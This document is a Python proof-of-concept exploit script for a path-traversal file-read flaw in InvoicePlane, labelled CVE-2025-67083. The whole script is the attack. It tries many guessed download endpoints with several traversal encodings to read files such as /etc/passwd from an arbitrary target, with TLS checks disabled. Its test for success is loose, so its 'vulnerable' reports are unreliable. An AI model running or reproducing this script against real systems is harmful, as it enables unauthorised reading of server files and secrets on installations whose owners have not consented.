# CVE-2025-67083 Directory Traversal PoC for InvoicePlane
# Target: InvoicePlane <= 1.6.3
# Vulnerability: Unauthenticated file read via path traversal
import requests
import sys
def test_directory_traversal(target_url, file_path):
"""
Test for directory traversal vulnerability
Args:
target_url: Base URL of InvoicePlane installation
file_path: Path to file to read (e.g., ../../../../etc/passwd)
Returns:
Content of the file if vulnerable, None otherwise
"""
# Common vulnerable endpoints in InvoicePlane
endpoints = [
'/download?file=',
'/uploads/',
'/get_file?filename=',
'/assets/',
'/files/',
'/downloads/',
'/inv_file/download?file=',
'/uploads_files/',
'/get_attachment?file=',
'/download_invoice?file=',
'/get_pdf?file=',
'/download_pdf?id='
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*'
}
for endpoint in endpoints:
try:
# Try different traversal patterns
traversal_patterns = [
file_path,
f'../../../../{file_path}',
f'..\..\..\..\{file_path}',
f'%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{file_path}',
f'....//....//....//....//{file_path}',
f'..%252f..%252f..%252f..%252f{file_path}'
]
for pattern in traversal_patterns:
url = target_url.rstrip('/') + endpoint + pattern
response = requests.get(url, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
# Check if response contains file content
if any(indicator in response.text for indicator in ['root:', '<?php', '<?xml', '{"', '[', '<!']):
print(f"[+] VULNERABLE: {url}")
print(f"[+] File content preview:")
print(response.text[:500])
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {endpoint}: {e}")
return None
def main():
if len(sys.argv) < 3:
print("Usage: python cve-2025-67083.py <target_url> <file_path>")
print("Example: python cve-2025-67083.py http://target.com ../../../../etc/passwd")
sys.exit(1)
target_url = sys.argv[1]
file_path = sys.argv[2]
print(f"[*] Testing CVE-2025-67083 on {target_url}")
print(f"[*] Attempting to read: {file_path}")
result = test_directory_traversal(target_url, file_path)
if result:
print("\n[+] Exploitation successful!")
else:
print("\n[-] Target may not be vulnerable or file not accessible")
if __name__ == "__main__":
main()